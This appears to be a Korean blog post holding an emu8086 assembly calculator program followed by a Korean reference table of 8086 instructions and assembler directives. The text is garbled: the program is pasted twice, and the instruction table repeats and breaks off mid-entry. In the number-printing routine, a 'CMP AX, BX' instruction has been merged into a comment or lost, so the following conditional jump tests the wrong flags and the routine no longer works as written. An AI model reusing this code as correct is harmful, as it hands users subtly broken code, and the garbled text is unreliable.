2009년 12월 20일 일요일
계산기
name "calc2"
; command prompt based simple calculator (+,-,*,/) for 8086.
; example of calculation:
; input 1 <- number: 10
; input 2 <- operator: -
; input 3 <- number: 5
; -------------------
; 10 - 5 = 5
; output -> number: 5
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; this maro is copied from emu8086.inc ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; this macro prints a char in AL and advances
; the current cursor position:
PUTC MACRO char
PUSH AX
MOV AL, char
MOV AH, 0Eh
INT 10h
POP AX
ENDM
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
org 100h
jmp start
; define variables:
msg0 db "note: calculator works with integer values only.",0Dh,0Ah
db "to learn how to output the result of a float division see float.asm in examples",0Dh,0Ah,'$'
msg1 db 0Dh,0Ah, 0Dh,0Ah, 'enter first number: $'
msg2 db "enter the operator: + - * / : $"
msg3 db "enter second number: $"
msg4 db 0dh,0ah , 'the approximate result of my calculations is : $'
msg5 db 0dh,0ah ,'thank you for using the calculator! press any key... ', 0Dh,0Ah, '$'
err1 db "wrong operator!", 0Dh,0Ah , '$'
smth db " and something.... $"
; operator can be: '+','-','*','/' or 'q' to exit in the middle.
opr db '?'
; first and second number:
num1 dw ?
num2 dw ?
start:
mov dx, offset msg0
mov ah, 9
int 21h
lea dx, msg1
mov ah, 09h ; output string at ds:dx
int 21h
; get the multi-digit signed number
; from the keyboard, and store
; the result in cx register:
call scan_num
; store first number:
mov num1, cx
; new line:
putc 0Dh
putc 0Ah
lea dx, msg2
mov ah, 09h ; output string at ds:dx
int 21h
; get operator:
mov ah, 1 ; single char input to AL.
int 21h
mov opr, al
; new line:
putc 0Dh
putc 0Ah
cmp opr, 'q' ; q - exit in the middle.
je exit
cmp opr, '*'
jb wrong_opr
cmp opr, '/'
ja wrong_opr
; output of a string at ds:dx
lea dx, msg3
mov ah, 09h
int 21h
; get the multi-digit signed number
; from the keyboard, and store
; the result in cx register:
call scan_num
; store second number:
mov num2, cx
lea dx, msg4
mov ah, 09h ; output string at ds:dx
int 21h
; calculate:
cmp opr, '+'
je do_plus
cmp opr, '-'
je do_minus
cmp opr, '*'
je do_mult
cmp opr, '/'
je do_div
; none of the above....
wrong_opr:
lea dx, err1
mov ah, 09h ; output string at ds:dx
int 21h
exit:
; output of a string at ds:dx
lea dx, msg5
mov ah, 09h
int 21h
; wait for any key...
mov ah, 0
int 16h
ret ; return back to os.
do_plus:
mov ax, num1
add ax, num2
call print_num ; print ax value.
jmp exit
do_minus:
mov ax, num1
sub ax, num2
call print_num ; print ax value.
jmp exit
do_mult:
mov ax, num1
imul num2 ; (dx ax) = ax * num2.
call print_num ; print ax value.
; dx is ignored (calc works with tiny numbers only).
jmp exit
do_div:
; dx is ignored (calc works with tiny integer numbers only).
mov dx, 0
mov ax, num1
idiv num2 ; ax = (dx ax) / num2.
cmp dx, 0
jnz approx
call print_num ; print ax value.
jmp exit
approx:
call print_num ; print ax value.
lea dx, smth
mov ah, 09h ; output string at ds:dx
int 21h
jmp exit
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; these functions are copied from emu8086.inc ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; gets the multi-digit SIGNED number from the keyboard,
; and stores the result in CX register:
SCAN_NUM PROC NEAR
PUSH DX
PUSH AX
PUSH SI
MOV CX, 0
; reset flag:
MOV CS:make_minus, 0
next_digit:
; get char from keyboard
; into AL:
MOV AH, 00h
INT 16h
; and print it:
MOV AH, 0Eh
INT 10h
; check for MINUS:
CMP AL, '-'
JE set_minus
; check for ENTER key:
CMP AL, 0Dh ; carriage return?
JNE not_cr
JMP stop_input
not_cr:
CMP AL, 8 ; 'BACKSPACE' pressed?
JNE backspace_checked
MOV DX, 0 ; remove last digit by
MOV AX, CX ; division:
DIV CS:ten ; AX = DX:AX / 10 (DX-rem).
MOV CX, AX
PUTC ' ' ; clear position.
PUTC 8 ; backspace again.
JMP next_digit
backspace_checked:
; allow only digits:
CMP AL, '0'
JAE ok_AE_0
JMP remove_not_digit
ok_AE_0:
CMP AL, '9'
JBE ok_digit
remove_not_digit:
PUTC 8 ; backspace.
PUTC ' ' ; clear last entered not digit.
PUTC 8 ; backspace again.
JMP next_digit ; wait for next input.
ok_digit:
; multiply CX by 10 (first time the result is zero)
PUSH AX
MOV AX, CX
MUL CS:ten ; DX:AX = AX*10
MOV CX, AX
POP AX
; check if the number is too big
; (result should be 16 bits)
CMP DX, 0
JNE too_big
; convert from ASCII code:
SUB AL, 30h
; add AL to CX:
MOV AH, 0
MOV DX, CX ; backup, in case the result will be too big.
ADD CX, AX
JC too_big2 ; jump if the number is too big.
JMP next_digit
set_minus:
MOV CS:make_minus, 1
JMP next_digit
too_big2:
MOV CX, DX ; restore the backuped value before add.
MOV DX, 0 ; DX was zero before backup!
too_big:
MOV AX, CX
DIV CS:ten ; reverse last DX:AX = AX*10, make AX = DX:AX / 10
MOV CX, AX
PUTC 8 ; backspace.
PUTC ' ' ; clear last entered digit.
PUTC 8 ; backspace again.
JMP next_digit ; wait for Enter/Backspace.
stop_input:
; check flag:
CMP CS:make_minus, 0
JE not_minus
NEG CX
not_minus:
POP SI
POP AX
POP DX
RET
make_minus DB ? ; used as a flag.
SCAN_NUM ENDP
; this procedure prints number in AX,
; used with PRINT_NUM_UNS to print signed numbers:
PRINT_NUM PROC NEAR
PUSH DX
PUSH AX
CMP AX, 0
JNZ not_zero
PUTC '0'
JMP printed
not_zero:
; the check SIGN of AX,
; make absolute if it's negative:
CMP AX, 0
JNS positive
NEG AX
PUTC '-'
positive:
CALL PRINT_NUM_UNS
printed:
POP AX
POP DX
RET
PRINT_NUM ENDP
; this procedure prints out an unsigned
; number in AX (not just a single digit)
; allowed values are from 0 to 65535 (FFFF)
PRINT_NUM_UNS PROC NEAR
PUSH AX
PUSH BX
PUSH CX
PUSH DX
; flag to prevent printing zeros before number:
MOV CX, 1
; (result of "/ 10000" is always less or equal to 9).
MOV BX, 10000 ; 2710h - divider.
; AX is zero?
CMP AX, 0
JZ print_zero
begin_print:
; check divider (if zero go to end_print):
CMP BX,0
JZ end_print
; avoid printing zeros before number:
CMP CX, 0
JE calc
; if AX CMP AX, BX
JB skip
calc:
MOV CX, 0 ; set flag.
MOV DX, 0
DIV BX ; AX = DX:AX / BX (DX=remainder).
; print last digit
; AH is always ZERO, so it's ignored
ADD AL, 30h ; convert to ASCII code.
PUTC AL
MOV AX, DX ; get remainder from last div.
skip:
; calculate BX=BX/10
PUSH AX
MOV DX, 0
MOV AX, BX
DIV CS:ten ; AX = DX:AX / 10 (DX=remainder).
MOV BX, AX
POP AX
JMP begin_print
print_zero:
PUTC '0'
end_print:
POP DX
POP CX
POP BX
POP AX
RET
PRINT_NUM_UNS ENDP
ten DW 10 ; used as multiplier/divider by SCAN_NUM & PRINT_NUM_UNS.
GET_STRING PROC NEAR
PUSH AX
PUSH CX
PUSH DI
PUSH DX
MOV CX, 0 ; char counter.
CMP DX, 1 ; buffer too small?
JBE empty_buffer ;
DEC DX ; reserve space for last zero.
;============================
; Eternal loop to get
; and processes key presses:
wait_for_key:
MOV AH, 0 ; get pressed key.
INT 16h
CMP AL, 0Dh ; 'RETURN' pressed?
JZ exit_GET_STRING
CMP AL, 8 ; 'BACKSPACE' pressed?
JNE add_to_buffer
JCXZ wait_for_key ; nothing to remove!
DEC CX
DEC DI
PUTC 8 ; backspace.
PUTC ' ' ; clear position.
PUTC 8 ; backspace again.
JMP wait_for_key
add_to_buffer:
CMP CX, DX ; buffer is full?
JAE wait_for_key ; if so wait for 'BACKSPACE' or 'RETURN'...
MOV [DI], AL
INC DI
INC CX
; print the key:
MOV AH, 0Eh
INT 10h
JMP wait_for_key
;============================
exit_GET_STRING:
; terminate by null:
MOV [DI], 0
empty_buffer:
POP DX
POP DI
POP CX
POP AX
RET
GET_STRING ENDP
; command prompt based simple calculator (+,-,*,/) for 8086.
; example of calculation:
; input 1 <- number: 10
; input 2 <- operator: -
; input 3 <- number: 5
; -------------------
; 10 - 5 = 5
; output -> number: 5
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; this maro is copied from emu8086.inc ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; this macro prints a char in AL and advances
; the current cursor position:
PUTC MACRO char
PUSH AX
MOV AL, char
MOV AH, 0Eh
INT 10h
POP AX
ENDM
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
org 100h
jmp start
; define variables:
msg0 db "note: calculator works with integer values only.",0Dh,0Ah
db "to learn how to output the result of a float division see float.asm in examples",0Dh,0Ah,'$'
msg1 db 0Dh,0Ah, 0Dh,0Ah, 'enter first number: $'
msg2 db "enter the operator: + - * / : $"
msg3 db "enter second number: $"
msg4 db 0dh,0ah , 'the approximate result of my calculations is : $'
msg5 db 0dh,0ah ,'thank you for using the calculator! press any key... ', 0Dh,0Ah, '$'
err1 db "wrong operator!", 0Dh,0Ah , '$'
smth db " and something.... $"
; operator can be: '+','-','*','/' or 'q' to exit in the middle.
opr db '?'
; first and second number:
num1 dw ?
num2 dw ?
start:
mov dx, offset msg0
mov ah, 9
int 21h
lea dx, msg1
mov ah, 09h ; output string at ds:dx
int 21h
; get the multi-digit signed number
; from the keyboard, and store
; the result in cx register:
call scan_num
; store first number:
mov num1, cx
; new line:
putc 0Dh
putc 0Ah
lea dx, msg2
mov ah, 09h ; output string at ds:dx
int 21h
; get operator:
mov ah, 1 ; single char input to AL.
int 21h
mov opr, al
; new line:
putc 0Dh
putc 0Ah
cmp opr, 'q' ; q - exit in the middle.
je exit
cmp opr, '*'
jb wrong_opr
cmp opr, '/'
ja wrong_opr
; output of a string at ds:dx
lea dx, msg3
mov ah, 09h
int 21h
; get the multi-digit signed number
; from the keyboard, and store
; the result in cx register:
call scan_num
; store second number:
mov num2, cx
lea dx, msg4
mov ah, 09h ; output string at ds:dx
int 21h
; calculate:
cmp opr, '+'
je do_plus
cmp opr, '-'
je do_minus
cmp opr, '*'
je do_mult
cmp opr, '/'
je do_div
; none of the above....
wrong_opr:
lea dx, err1
mov ah, 09h ; output string at ds:dx
int 21h
exit:
; output of a string at ds:dx
lea dx, msg5
mov ah, 09h
int 21h
; wait for any key...
mov ah, 0
int 16h
ret ; return back to os.
do_plus:
mov ax, num1
add ax, num2
call print_num ; print ax value.
jmp exit
do_minus:
mov ax, num1
sub ax, num2
call print_num ; print ax value.
jmp exit
do_mult:
mov ax, num1
imul num2 ; (dx ax) = ax * num2.
call print_num ; print ax value.
; dx is ignored (calc works with tiny numbers only).
jmp exit
do_div:
; dx is ignored (calc works with tiny integer numbers only).
mov dx, 0
mov ax, num1
idiv num2 ; ax = (dx ax) / num2.
cmp dx, 0
jnz approx
call print_num ; print ax value.
jmp exit
approx:
call print_num ; print ax value.
lea dx, smth
mov ah, 09h ; output string at ds:dx
int 21h
jmp exit
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; these functions are copied from emu8086.inc ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; gets the multi-digit SIGNED number from the keyboard,
; and stores the result in CX register:
SCAN_NUM PROC NEAR
PUSH DX
PUSH AX
PUSH SI
MOV CX, 0
; reset flag:
MOV CS:make_minus, 0
next_digit:
; get char from keyboard
; into AL:
MOV AH, 00h
INT 16h
; and print it:
MOV AH, 0Eh
INT 10h
; check for MINUS:
CMP AL, '-'
JE set_minus
; check for ENTER key:
CMP AL, 0Dh ; carriage return?
JNE not_cr
JMP stop_input
not_cr:
CMP AL, 8 ; 'BACKSPACE' pressed?
JNE backspace_checked
MOV DX, 0 ; remove last digit by
MOV AX, CX ; division:
DIV CS:ten ; AX = DX:AX / 10 (DX-rem).
MOV CX, AX
PUTC ' ' ; clear position.
PUTC 8 ; backspace again.
JMP next_digit
backspace_checked:
; allow only digits:
CMP AL, '0'
JAE ok_AE_0
JMP remove_not_digit
ok_AE_0:
CMP AL, '9'
JBE ok_digit
remove_not_digit:
PUTC 8 ; backspace.
PUTC ' ' ; clear last entered not digit.
PUTC 8 ; backspace again.
JMP next_digit ; wait for next input.
ok_digit:
; multiply CX by 10 (first time the result is zero)
PUSH AX
MOV AX, CX
MUL CS:ten ; DX:AX = AX*10
MOV CX, AX
POP AX
; check if the number is too big
; (result should be 16 bits)
CMP DX, 0
JNE too_big
; convert from ASCII code:
SUB AL, 30h
; add AL to CX:
MOV AH, 0
MOV DX, CX ; backup, in case the result will be too big.
ADD CX, AX
JC too_big2 ; jump if the number is too big.
JMP next_digit
set_minus:
MOV CS:make_minus, 1
JMP next_digit
too_big2:
MOV CX, DX ; restore the backuped value before add.
MOV DX, 0 ; DX was zero before backup!
too_big:
MOV AX, CX
DIV CS:ten ; reverse last DX:AX = AX*10, make AX = DX:AX / 10
MOV CX, AX
PUTC 8 ; backspace.
PUTC ' ' ; clear last entered digit.
PUTC 8 ; backspace again.
JMP next_digit ; wait for Enter/Backspace.
stop_input:
; check flag:
CMP CS:make_minus, 0
JE not_minus
NEG CX
not_minus:
POP SI
POP AX
POP DX
RET
make_minus DB ? ; used as a flag.
SCAN_NUM ENDP
; this procedure prints number in AX,
; used with PRINT_NUM_UNS to print signed numbers:
PRINT_NUM PROC NEAR
PUSH DX
PUSH AX
CMP AX, 0
JNZ not_zero
PUTC '0'
JMP printed
not_zero:
; the check SIGN of AX,
; make absolute if it's negative:
CMP AX, 0
JNS positive
NEG AX
PUTC '-'
positive:
CALL PRINT_NUM_UNS
printed:
POP AX
POP DX
RET
PRINT_NUM ENDP
; this procedure prints out an unsigned
; number in AX (not just a single digit)
; allowed values are from 0 to 65535 (FFFF)
PRINT_NUM_UNS PROC NEAR
PUSH AX
PUSH BX
PUSH CX
PUSH DX
; flag to prevent printing zeros before number:
MOV CX, 1
; (result of "/ 10000" is always less or equal to 9).
MOV BX, 10000 ; 2710h - divider.
; AX is zero?
CMP AX, 0
JZ print_zero
begin_print:
; check divider (if zero go to end_print):
CMP BX,0
JZ end_print
; avoid printing zeros before number:
CMP CX, 0
JE calc
; if AX
JB skip
calc:
MOV CX, 0 ; set flag.
MOV DX, 0
DIV BX ; AX = DX:AX / BX (DX=remainder).
; print last digit
; AH is always ZERO, so it's ignored
ADD AL, 30h ; convert to ASCII code.
PUTC AL
MOV AX, DX ; get remainder from last div.
skip:
; calculate BX=BX/10
PUSH AX
MOV DX, 0
MOV AX, BX
DIV CS:ten ; AX = DX:AX / 10 (DX=remainder).
MOV BX, AX
POP AX
JMP begin_print
print_zero:
PUTC '0'
end_print:
POP DX
POP CX
POP BX
POP AX
RET
PRINT_NUM_UNS ENDP
ten DW 10 ; used as multiplier/divider by SCAN_NUM & PRINT_NUM_UNS.
GET_STRING PROC NEAR
PUSH AX
PUSH CX
PUSH DI
PUSH DX
MOV CX, 0 ; char counter.
CMP DX, 1 ; buffer too small?
JBE empty_buffer ;
DEC DX ; reserve space for last zero.
;============================
; Eternal loop to get
; and processes key presses:
wait_for_key:
MOV AH, 0 ; get pressed key.
INT 16h
CMP AL, 0Dh ; 'RETURN' pressed?
JZ exit_GET_STRING
CMP AL, 8 ; 'BACKSPACE' pressed?
JNE add_to_buffer
JCXZ wait_for_key ; nothing to remove!
DEC CX
DEC DI
PUTC 8 ; backspace.
PUTC ' ' ; clear position.
PUTC 8 ; backspace again.
JMP wait_for_key
add_to_buffer:
CMP CX, DX ; buffer is full?
JAE wait_for_key ; if so wait for 'BACKSPACE' or 'RETURN'...
MOV [DI], AL
INC DI
INC CX
; print the key:
MOV AH, 0Eh
INT 10h
JMP wait_for_key
;============================
exit_GET_STRING:
; terminate by null:
MOV [DI], 0
empty_buffer:
POP DX
POP DI
POP CX
POP AX
RET
GET_STRING ENDP
어셈블리어 명령어
명 령 어
설 명
Data Transfer
MOV
Move
데이터 이동 (전송)
PUSH
Push
오퍼랜드의 내용을 스택에 쌓는다
POP
Pop
스택으로부터 값을 뽑아낸다.
XCHG
Exchange Register/memory with Register
첫 번째 오퍼랜드와 두 번째 오퍼랜드 교환
IN
Input from AL/AX to Fixed port
오퍼랜드로 지시된 포트로부터 AX에 데이터 입력
OUT
Output from AL/AX to Fixed port
오퍼랜드가 지시한 포트로 AX의 데이터 출력
XLAT
Translate byte to AL
BX:AL이 지시한 데이블의 내용을 AL로 로드
LEA
Load Effective Address to Register
메모리의 오프셋값을 레지스터로 로드
LDS
Load Pointer to DS
REG←(MEM), DS←(MEM+2)
LES
Load Pointer ti ES
REG←(MEM), ES←(MEM+2)
LAHF
Load AH with Flags
플래그의 내용을 AH의 특정 비트로 로드
SAHF
Store AH into Flags
AH의 특정 비트가 플래그 레지스터로 전송
PUSHF
Push Flags
플래그 레지스터의 내용을 스택에 쌓음
POPF
Pop Flags
스택으로부터 플래그 레지스터로 뽑음
Arithmetic
ADD
Add
캐리를 포함하지 않은 덧셈
SBB
Subtract with Borrow
캐리를 포함한 뺄셈
DEC
Decrement
오퍼랜드 내용을 1 감소
NEG
Change Sign
오퍼랜드의 2의 보수, 즉 부호 반전
CMP
Compare
두 개의 오퍼랜드를 비교한다
ADC
Add with Carry
캐리를 포함한 덧셈
INC
Increment
오퍼랜드 내용을 1 증가
AAA
ASCII adjust for Add
덧셈 결과 AL값을 UNPACK 10진수로 보정
DAA
Decimal adjust for Add
덧셈 결과의 AL값을 PACK 10진수로 보정
SUB
Subtract
캐리를 포함하지 않은 뺄셈
AAS
ASCII adjust for Subtract
뺄셈 결과 AL값을 UNPACK 10진수로 보정
DAS
Decimal adjust for Subtract
뺄셈 결과의 AL값을 PACK 10진수로 보정
MUL
Multiply (Unsigned)
AX와 오퍼랜드를 곱셈하여 결과를 AX 또는 DX:AX에 저장
IMUL
Integer Multiply (Signed)
부호화된 곱셈
AAM
ASCII adjust for Multiply
곱셈 결과 AX값을 UNPACK 10진수로 보정
DIV
Divide (Unsigned)
AX 또는 DX:AX 내용을 오퍼랜드로 나눔. 몫은 AL, AX 나머지는 AH, DX로 저장
IDIV
Integer Divide (Signed)
부호화된 나눗셈
AAD
ASCII adjust for Divide
나눗셈 결과 AX값을 UNPACK 10진수로 보정
CBW
Convert byte to word
AL의 바이트 데이터를 부호 비트를 포함하여 AX 워드로 확장
CWD
Convert word to double word
AX의 워드 데이터를 부호를 포함하여 DX:AX의 더블 워드로 변환
Logic
NOT
Invert
오퍼랜드의 1의 보수, 즉 비트 반전
SHL/SAL
Shift logical / arithmetic Left
왼쪽으로 오퍼랜드만큼 자리 이동 (최하위 비트는 0)
SHR
Shift logical Right
오른쪽으로 오퍼랜드만큼 자리 이동 (최상위 비트 0)
SAR
Shift arithmetic Right
오른쪽 자리이동, 최상위 비트는 유지
ROL
Rotate Left
왼쪽으로 오퍼랜드만큼 회전 이동
ROR
Rotate Right
오른쪽으로 오퍼랜드만큼 회전 이동
RCL
Rotate through Carry Left
캐리를 포함하여 왼쪽으로 오퍼랜드만큼 회전 이동
RCR
Rotate through Carry Right
캐리를 포함하여 오른쪽으로 오퍼랜드만큼 회전 이동
AND
And
논리 AND
TEST
And function to Flags, no result
첫 번째 오퍼랜드와 두 번째 오퍼랜드를 AND하여 그 결과로 플래그 세트
OR
Or
논리 OR
XOR
Exclusive Or
배타 논리 합 (OR)
String Manipulation
REP
Repeat
REP 뒤에 오는 스트링 명령을 CX가 0이 될 때까지 반복
MOVS
Move String
DS:SI가 지시한 메모리 데이터를 ES:DI가지시한 메모리로 전송
CMPS
Compare String
DS:SI와 ES:DI의 내용을 비교하고 결과에 따라 플래그 설정
SCAS
Scan String
AL 또는 AX와 ES:DI가 지시한 메모리 내용 비교하고 결과에 따라 플래그 설정
LODS
Load String
SI 내용을 AL 또는 AX로 로드
STOS
Store String
AL 또는 AX를 ES:DI가 지시하는 메모리에 저장
Control Transfer
CALL
Call
프로시저 호출
JMP
Unconditional Jump
무조건 분기
RET
Return from CALL
CALL로 스택에 PUSH된 주소로 복귀
JE/JZ
Jump on Equal / Zero
결과가 0이면 분기
JL/JNGE
Jump on Less / not Greater or Equal
결과가 작으면 분기 (부호화된 수)
JB/JNAE
Jump on Below / not Above or Equal
결과가 작으면 분기 (부호화 안 된 수)
JBE/JNA
Jump on Below or Equal / not Above
결과가 작거나 같으면 분기 (부호화 안 된 수)
JP/JPE
Jump on Parity / Parity Even
패리티 플레그가 1이면 분기
JO
Jump on Overflow
오버플로가 발생하면 분기
JS
Jump on Sign
부호 플레그가 1이면 분기
JNE/JNZ
Jump on not Equal / not Zero
결과가 0이 아니면 분기
JNL/JGE
Jump on not Less / Greater or Equal
결과가 크거나 같으면 분기 (부호화된 수)
JNLE/JG
Jump on not Less or Equal / Greater
결과가 크면 분기 (부호화된 수)
JNB/JAE
Jump on not Below / Above or Equal
결과가 크거나 같으면 분기 (부호화 안 된 수)
JNBE/JA
Jump on not Below or Equal / Above
결과가 크면 분기 (부호화 안 된 수)
JNP/JPO
Jump on not Parity / Parity odd
패리티 플레그가 0이면 분기
JNO
Jump on not Overflow
오버플로우가 아닌 경우 분기
JNS
Jump on not Sign
부호 플레그가 0이면 분기
LOOP
Loop CX times
CX를 1감소하면서 0이 될 때까지 지정된 라벨로 분기
LOOPZ/LOOPE
Loop while Zero / Equal
제로 플레그가 1이고 CX≠0이면 지정된 라벨로 분기
LOOPNZ/LOOPNE
Loop while not Zero / not Equal
제로 플레그가 0이고 CX≠0이면 지정된 라벨로 분기
JCXZ
Jump on CX Zero
CX가 0이면 분기
INT
Interrupt
인터럽트 실행
INTO
Interrupt on Overflow
오버플로우가 발생하면 인터럽트 실행
IRET
Interrupt Return
인터럽트 복귀 (리턴)
Processor Control
CLC
Clear Carry
캐리 플레그 클리어
CMC
Complement Carry
캐리 플레그를 반전
CLD
Clear Direction
디렉션 플레그를 클리어
CLI
Clear Interrupt
인터럽트 플레그를 클리어
HLT
Halt
정지
LOCK
Bus Lock prefix
STC
Set Carry
캐리 플레그 셋
NOP
No operation
STD
Set Direction
디렉션 플레그 셋
STI
Set Interrupt
인터럽트 인에이블 플레그 셋
WAIT
Wait
프로세서를 일지 정지 상태로 한다
ESC
Escape to External device
이스케이프 명령
2. 8086 어셈블러 지시어(Directive)
지시어
내 용
형 식
SEGMENT
-
END
어셈블리 프로그램은 한 개 이상의 세그먼트들로 구성된다. SEGMENT 지시어는 하나의 세그먼트를 정의한다.
segname SEGMENT ; 세그먼트 시작
⋮ ; 세그먼트 내용
segname ENDS ; 세그먼트 끝
PROC
-
ENDP
매크로 어셈블리에서는 프로그램의 실행 부분을 모듈로 작성할 수 있다. 이 모듈을 프로시저(Procedure)라 부르며, PROC 지시어가 이를 정의한다.
procname PROC ; 프로시저의 시작
⋮ ; 프로시저의 내용
procname ENDP ; 프로시저의 끝
ASSUME
어셈블러에게 세그먼트 레지스터와 사용자가 작성한 세그먼트의 이름을 연결시킨다.
ASSUME SS:stack_segname,
DS:data_segname,
CS:code_segname,
ES:extra_segname
END
전제 프로그램의 끝을 나타냄
END
데이터 정의 지시어 : 프로그램에서 데이터를 저장할 기억 장소를 정의, 초기값 부여
DB
Define Byte
name DB 초기값
DW
Define Word
name DW 초기값
DD
Define Double Word
name DD 초기값
DQ
Define Quad Word
name DQ 초기값
DT
Define Ten Bytes
name DT 초기값
EQU
변수 이름에 데이터값이나 문자열 정의
name EQU 데이터값/문자열
=
EQU와 달리 정의된 값을 변경 가능
EVEN
어셈블리시 이 지시어가 사용되는 곳의 주소가 짝수로 되도록 함
PAGE
어셈블리 리스트의 형식을 결정
PAGE [length][,width]
TITLE
어셈블리 리스트의 각 페이지에 제목 출력
TITLE text
※ 세그먼트(SEGMENT)와 오프셋(OFFSET)
16비트 레지스터를 사용하여 주소를 표현한다면, 216Byte = 65536 Byte = 64 KByte 의 주소 공간을 가질 수 있다. 그러나 지정 가능 주소 공간의 크기를 늘리기 위하여 '세그먼트', '오프셋'의 개념을 사용한다. 개념적으로는 메모리를 가리키는 화살표를 세그먼트(SEGMENT)라고 하고 그곳을 기준으로 떨어진 변위(DISPLACEMENT)를 오프셋(OFFSET)이라고 한다. 8086은 세그먼트를 16바이트 단위로 취하여 그곳으로부터 오프셋 지정으로 주소값을 얻는다.
세그먼트값 × 16 + 오프셋 = 실제주소
16을 곱한다는 것은 왼쪽으로 4번 시프트 한것과 같다. 이 때, 세그먼트 레지스터는 16비트이므로 실제 주소는 16비트를 왼쪽으로 4번 시프트한 20비트의 주소 공간을 가리킬 수 있게된다.
예를 들어, 세그먼트가 A000, 오프셋이 00FF 일 때 실제 주소 값은 다음과 같이 계산할 수 있다.
A
0
0
0
세그먼트
+
0
0
F
F
오프셋
A
0
0
F
F
실제 주소값
이러한 세그먼트, 오프셋에 의한 방식의 장점은 작은 레지스터 크기로도 넓은 주소 공간을 가리킬 수 있다는 것이다.
8086의 경우 20비트의 주소 공간이므로 220Byte = 1048576 Byte = 1 MByte 까지의 주소 공간을 가질 수 있다.
설 명
Data Transfer
MOV
Move
데이터 이동 (전송)
PUSH
Push
오퍼랜드의 내용을 스택에 쌓는다
POP
Pop
스택으로부터 값을 뽑아낸다.
XCHG
Exchange Register/memory with Register
첫 번째 오퍼랜드와 두 번째 오퍼랜드 교환
IN
Input from AL/AX to Fixed port
오퍼랜드로 지시된 포트로부터 AX에 데이터 입력
OUT
Output from AL/AX to Fixed port
오퍼랜드가 지시한 포트로 AX의 데이터 출력
XLAT
Translate byte to AL
BX:AL이 지시한 데이블의 내용을 AL로 로드
LEA
Load Effective Address to Register
메모리의 오프셋값을 레지스터로 로드
LDS
Load Pointer to DS
REG←(MEM), DS←(MEM+2)
LES
Load Pointer ti ES
REG←(MEM), ES←(MEM+2)
LAHF
Load AH with Flags
플래그의 내용을 AH의 특정 비트로 로드
SAHF
Store AH into Flags
AH의 특정 비트가 플래그 레지스터로 전송
PUSHF
Push Flags
플래그 레지스터의 내용을 스택에 쌓음
POPF
Pop Flags
스택으로부터 플래그 레지스터로 뽑음
Arithmetic
ADD
Add
캐리를 포함하지 않은 덧셈
SBB
Subtract with Borrow
캐리를 포함한 뺄셈
DEC
Decrement
오퍼랜드 내용을 1 감소
NEG
Change Sign
오퍼랜드의 2의 보수, 즉 부호 반전
CMP
Compare
두 개의 오퍼랜드를 비교한다
ADC
Add with Carry
캐리를 포함한 덧셈
INC
Increment
오퍼랜드 내용을 1 증가
AAA
ASCII adjust for Add
덧셈 결과 AL값을 UNPACK 10진수로 보정
DAA
Decimal adjust for Add
덧셈 결과의 AL값을 PACK 10진수로 보정
SUB
Subtract
캐리를 포함하지 않은 뺄셈
AAS
ASCII adjust for Subtract
뺄셈 결과 AL값을 UNPACK 10진수로 보정
DAS
Decimal adjust for Subtract
뺄셈 결과의 AL값을 PACK 10진수로 보정
MUL
Multiply (Unsigned)
AX와 오퍼랜드를 곱셈하여 결과를 AX 또는 DX:AX에 저장
IMUL
Integer Multiply (Signed)
부호화된 곱셈
AAM
ASCII adjust for Multiply
곱셈 결과 AX값을 UNPACK 10진수로 보정
DIV
Divide (Unsigned)
AX 또는 DX:AX 내용을 오퍼랜드로 나눔. 몫은 AL, AX 나머지는 AH, DX로 저장
IDIV
Integer Divide (Signed)
부호화된 나눗셈
AAD
ASCII adjust for Divide
나눗셈 결과 AX값을 UNPACK 10진수로 보정
CBW
Convert byte to word
AL의 바이트 데이터를 부호 비트를 포함하여 AX 워드로 확장
CWD
Convert word to double word
AX의 워드 데이터를 부호를 포함하여 DX:AX의 더블 워드로 변환
Logic
NOT
Invert
오퍼랜드의 1의 보수, 즉 비트 반전
SHL/SAL
Shift logical / arithmetic Left
왼쪽으로 오퍼랜드만큼 자리 이동 (최하위 비트는 0)
SHR
Shift logical Right
오른쪽으로 오퍼랜드만큼 자리 이동 (최상위 비트 0)
SAR
Shift arithmetic Right
오른쪽 자리이동, 최상위 비트는 유지
ROL
Rotate Left
왼쪽으로 오퍼랜드만큼 회전 이동
ROR
Rotate Right
오른쪽으로 오퍼랜드만큼 회전 이동
RCL
Rotate through Carry Left
캐리를 포함하여 왼쪽으로 오퍼랜드만큼 회전 이동
RCR
Rotate through Carry Right
캐리를 포함하여 오른쪽으로 오퍼랜드만큼 회전 이동
AND
And
논리 AND
TEST
And function to Flags, no result
첫 번째 오퍼랜드와 두 번째 오퍼랜드를 AND하여 그 결과로 플래그 세트
OR
Or
논리 OR
XOR
Exclusive Or
배타 논리 합 (OR)
String Manipulation
REP
Repeat
REP 뒤에 오는 스트링 명령을 CX가 0이 될 때까지 반복
MOVS
Move String
DS:SI가 지시한 메모리 데이터를 ES:DI가지시한 메모리로 전송
CMPS
Compare String
DS:SI와 ES:DI의 내용을 비교하고 결과에 따라 플래그 설정
SCAS
Scan String
AL 또는 AX와 ES:DI가 지시한 메모리 내용 비교하고 결과에 따라 플래그 설정
LODS
Load String
SI 내용을 AL 또는 AX로 로드
STOS
Store String
AL 또는 AX를 ES:DI가 지시하는 메모리에 저장
Control Transfer
CALL
Call
프로시저 호출
JMP
Unconditional Jump
무조건 분기
RET
Return from CALL
CALL로 스택에 PUSH된 주소로 복귀
JE/JZ
Jump on Equal / Zero
결과가 0이면 분기
JL/JNGE
Jump on Less / not Greater or Equal
결과가 작으면 분기 (부호화된 수)
JB/JNAE
Jump on Below / not Above or Equal
결과가 작으면 분기 (부호화 안 된 수)
JBE/JNA
Jump on Below or Equal / not Above
결과가 작거나 같으면 분기 (부호화 안 된 수)
JP/JPE
Jump on Parity / Parity Even
